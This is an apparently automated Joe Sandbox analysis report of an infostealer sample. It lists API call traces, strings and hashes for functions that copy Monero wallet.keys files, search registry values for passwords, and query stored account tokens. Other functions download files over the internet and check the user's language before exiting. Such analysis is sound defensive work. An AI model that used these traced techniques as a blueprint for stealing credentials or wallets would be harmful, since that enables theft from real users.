Part of subcall function 003B12A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 003B12D7
Part of subcall function 003B12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 003B12F5
Part of subcall function 003B12A0: RegCloseKey.ADVAPI32(?), ref: 003B12FF

lstrcat.KERNEL32(?,00000000), ref: 003B134F
lstrlen.KERNEL32(?), ref: 003B135C
lstrcat.KERNEL32(?,.keys), ref: 003B1377

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003C8B60: GetSystemTime.KERNEL32(003D0E1A,0118E838,003D05AE,?,?,003B13F9,?,0000001A,003D0E1A,00000000,?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003C8B86

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 003B1465

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003B99EC
Part of subcall function 003B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 003B9A11
Part of subcall function 003B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 003B9A31
Part of subcall function 003B99C0: ReadFile.KERNEL32(000000FF,?,00000000,003B148F,00000000), ref: 003B9A5A
Part of subcall function 003B99C0: LocalFree.KERNEL32(003B148F), ref: 003B9A90
Part of subcall function 003B99C0: CloseHandle.KERNEL32(000000FF), ref: 003B9A9A

DeleteFileA.KERNEL32(00000000), ref: 003B14EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 003B1335
.keys, xrefs: 003B136B
wallet_path, xrefs: 003B1330
\Monero\wallet.keys, xrefs: 003B138D

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: d52475744d00dbf7fa972ae67c139222e34d98003370fa283fe229e0e1717085
Instruction ID: 45c0d21c0da898d99a5922f16e445806e22a39229f30f2f91bb527b7690428c6
Opcode Fuzzy Hash: d52475744d00dbf7fa972ae67c139222e34d98003370fa283fe229e0e1717085
Instruction Fuzzy Hash: 94512FB295061C57CB16EB60DC96FED737CAB54304F40459CB60AE6092EE306F89CBA6

Function 003B75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003B72D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 003B733A
Part of subcall function 003B72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 003B73B1
Part of subcall function 003B72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 003B740D
Part of subcall function 003B72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 003B7452
Part of subcall function 003B72D0: HeapFree.KERNEL32(00000000), ref: 003B7459

lstrcat.KERNEL32(00000000,003D17FC), ref: 003B7606
lstrcat.KERNEL32(00000000,00000000), ref: 003B7648
lstrcat.KERNEL32(00000000, : ), ref: 003B765A
lstrcat.KERNEL32(00000000,00000000), ref: 003B768F
lstrcat.KERNEL32(00000000,003D1804), ref: 003B76A0
lstrcat.KERNEL32(00000000,00000000), ref: 003B76D3
lstrcat.KERNEL32(00000000,003D1808), ref: 003B76ED
task.LIBCPMTD ref: 003B76FB

Strings

: , xrefs: 003B764E

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 688366280e543173653ff98a44ce885d2fdbfbe997a798896d40fe845111ef66
Instruction ID: 9a885ba8284899ad53684a27fc9360f6c434bf820ca866376cc0e5f5fd5da9c0
Opcode Fuzzy Hash: 688366280e543173653ff98a44ce885d2fdbfbe997a798896d40fe845111ef66
Instruction Fuzzy Hash: 6D3150B2D00109EFCB06EBA4DC45EFE7778FB94305B144518F206EB690DB38A94ADB52

Function 003C8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0118F490,00000000,?,003D0E2C,00000000,?,00000000), ref: 003C8130
RtlAllocateHeap.NTDLL(00000000), ref: 003C8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 003C8158
__aulldiv.LIBCMT ref: 003C8172
__aulldiv.LIBCMT ref: 003C8180
wsprintfA.USER32 ref: 003C81AC

Strings

@, xrefs: 003C814D
%d MB, xrefs: 003C81A3

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 7c222c684260b151f3e4f43421d56f02b2afd62acf0ee7c741a1f4eeb7b7dc48
Instruction ID: 29721bd04ae949e26c84d7c6cc42b4900d7e71cb4257753559b294a54e916ff3
Opcode Fuzzy Hash: 7c222c684260b151f3e4f43421d56f02b2afd62acf0ee7c741a1f4eeb7b7dc48
Instruction Fuzzy Hash: ED214AB1E44208ABDB00DFD4DC49FAEB7B8FB44B10F104619F605FB280D7B869058BA6

Function 003B60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

Part of subcall function 003B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 003B4839
Part of subcall function 003B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 003B4849

InternetOpenA.WININET(003D0DF7,00000001,00000000,00000000,00000000), ref: 003B610F
StrCmpCA.SHLWAPI(?,0118FA48), ref: 003B6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 003B618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 003B61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 003B61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 003B620A
CloseHandle.KERNEL32(?,?,00000400), ref: 003B6249
InternetCloseHandle.WININET(?), ref: 003B6253
InternetCloseHandle.WININET(00000000), ref: 003B6260

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 50c155ab36c4999e7e6e5dbf1be053508aa9d356cfb308af49be3c832f65282c
Instruction ID: 4c847b5f92547aa9aa4c472592747f4427b2d474b6c25edaf03a9891157dcf63
Opcode Fuzzy Hash: 50c155ab36c4999e7e6e5dbf1be053508aa9d356cfb308af49be3c832f65282c
Instruction Fuzzy Hash: 685151B1900218ABEF21DF50DC46FEE77B8EB44705F104498A609AB181DB786E89DF56

Function 003B72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 003B733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 003B73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 003B740D
GetProcessHeap.KERNEL32(00000000,?), ref: 003B7452
HeapFree.KERNEL32(00000000), ref: 003B7459
task.LIBCPMTD ref: 003B7555

Strings

Password, xrefs: 003B7401

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 74ffb8def664070034f0b2d34a8f65d51592d86827cdb1d798a57db971168127
Instruction ID: eb87bc02d6c51890a1fba32c41175109ba454f1f5c0e8cb718ae2d4be2a6b1c7
Opcode Fuzzy Hash: 74ffb8def664070034f0b2d34a8f65d51592d86827cdb1d798a57db971168127
Instruction Fuzzy Hash: EA613AB580015C9BDB25DB50CC41BD9B7BCFF44344F0081E9E649AA541DBB06BC9CFA1

Function 003BBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 003CA740: lstrcpy.KERNEL32(003D0E17,00000000), ref: 003CA788

Part of subcall function 003CA9B0: lstrlen.KERNEL32(?,01188940,?,\Monero\wallet.keys,003D0E17), ref: 003CA9C5
Part of subcall function 003CA9B0: lstrcpy.KERNEL32(00000000), ref: 003CAA04
Part of subcall function 003CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 003CAA12

Part of subcall function 003CA920: lstrcpy.KERNEL32(00000000,?), ref: 003CA972
Part of subcall function 003CA920: lstrcat.KERNEL32(00000000), ref: 003CA982

Part of subcall function 003CA8A0: lstrcpy.KERNEL32(?,003D0E17), ref: 003CA905

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

lstrlen.KERNEL32(00000000), ref: 003BBC9F

Part of subcall function 003C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 003C8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 003BBCCD
lstrlen.KERNEL32(00000000), ref: 003BBDA5
lstrlen.KERNEL32(00000000), ref: 003BBDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 003BBBEB
AccountTokens, xrefs: 003BBB49
AccountTokens, xrefs: 003BBABA
AccountId, xrefs: 003BBCC4

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 8490720ec5494e58dad2468ed78b6902623de664aa42ef0feaf44a688d966781
Instruction ID: 8b349ba6630c5a84d4919631cb095fd2e3d384b74774e7fe4c4b960573f107c5
Opcode Fuzzy Hash: 8490720ec5494e58dad2468ed78b6902623de664aa42ef0feaf44a688d966781
Instruction Fuzzy Hash: 29B14F7291060CABCB16EBA0DC96FEE7738AF14304F40411DF506EA191EF346E49DBA2

Function 003C6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 003C6774
ExitProcess.KERNEL32 ref: 003C67A5
ExitProcess.KERNEL32 ref: 003C67AF
ExitProcess.KERNEL32 ref: 003C67B9
ExitProcess.KERNEL32 ref: 003C67C3
ExitProcess.KERNEL32 ref: 003C67CD

Strings

*, xrefs: 003C678C

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: f9afa345c12018d2eae8d1ec2b603b5f23400d18394b99d0ac7edb34d965273b
Instruction ID: a79ac0625bf06b943f8941eb23a973f99bbf764d110ce332375c1318bccb9d38
Opcode Fuzzy Hash: f9afa345c12018d2eae8d1ec2b603b5f23400d18394b99d0ac7edb34d965273b
Instruction Fuzzy Hash: 70F03A70905209EFD344AFE0A90AF3C7B74FB15702F040198E609C6290D6786A42EBD7

Function 003B4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 003B4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 003B4FD1
InternetOpenA.WININET(003D0DDF,00000000,00000000,00000000,00000000), ref: 003B4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 003B5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 003B5041
InternetCloseHandle.WININET(?), ref: 003B50B9
InternetCloseHandle.WININET(?), ref: 003B50C6

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: a544dbdc07966c80c60458226fd6cff2b59f95e09c9a37ca9f4cb405f0db1309
Instruction ID: 6259746f4d44f974cf7354a5da91195850c6484d2b3fa0890cfae8b787a18b8f
Opcode Fuzzy Hash: a544dbdc07966c80c60458226fd6cff2b59f95e09c9a37ca9f4cb405f0db1309
Instruction Fuzzy Hash: CC3104F4A00218ABDB20DF54DC85BECB7B4EB48704F1081D9EB09A7281D7746E85DF99

Function 003C83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 003C8426
wsprintfA.USER32 ref: 003C8459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 003C847B
RegCloseKey.ADVAPI32(00000000), ref: 003C848C
RegCloseKey.ADVAPI32(00000000), ref: 003C8499

Part of subcall function 003CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 003CA7E6

RegQueryValueExA.ADVAPI32(00000000,0118F550,00000000,000F003F,?,00000400), ref: 003C84EC
lstrlen.KERNEL32(?), ref: 003C8501
RegQueryValueExA.ADVAPI32(00000000,0118F538,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,003D0B34), ref: 003C8599
RegCloseKey.ADVAPI32(00000000), ref: 003C8608
RegCloseKey.ADVAPI32(00000000), ref: 003C861A

Strings

%s\%s, xrefs: 003C844D

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000874000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238525481.00000000008B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238666145.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3b0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 817c8640f7a3461a7dc5717c3fc23fb243e9ec87061811771982600a308b6b4e
Instruction ID: c70d5beb1f4cedb2f641c68381e998d21180b193c8f935f36136821ecee6ad10
Opcode Fuzzy Hash: 817c8640f7a3461a7dc5717c3fc23fb243e9ec87061811771982600a308b6b4e
Instruction Fuzzy Hash: 6F2107B190021CABDB24DB54DC85FE9B3B8FB48700F00C199E609A6140DF75AE85CFD5

Function 003C7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 003C76A4
RtlAllocateHeap.NTDLL(00000000), ref: 003C76AB
RegOpenKeyExA.ADVAPI32(80000002,0117B810,00000000,00020119,00000000), ref: 003C76DD
RegQueryValueExA.ADVAPI32(00000000,0118F5B0,00000000,00000000,?,000000FF), ref: 003C76FE
RegCloseKey.ADVAPI32(00000000), ref: 003C7708

Strings

Windows 11, xrefs: 003C76BD

Memory Dump Source

Source File: 00000000.00000002.2238045865.00000000003B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003B0000, based on PE: true

Associated: 00000000.00000002.2238019325.00000000003B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000461000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.000000000046D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238045865.00000000005FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.000000000060E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2238243555.0000000000795000.00000040.00000001.01000000.00000003.sdmpDownload File
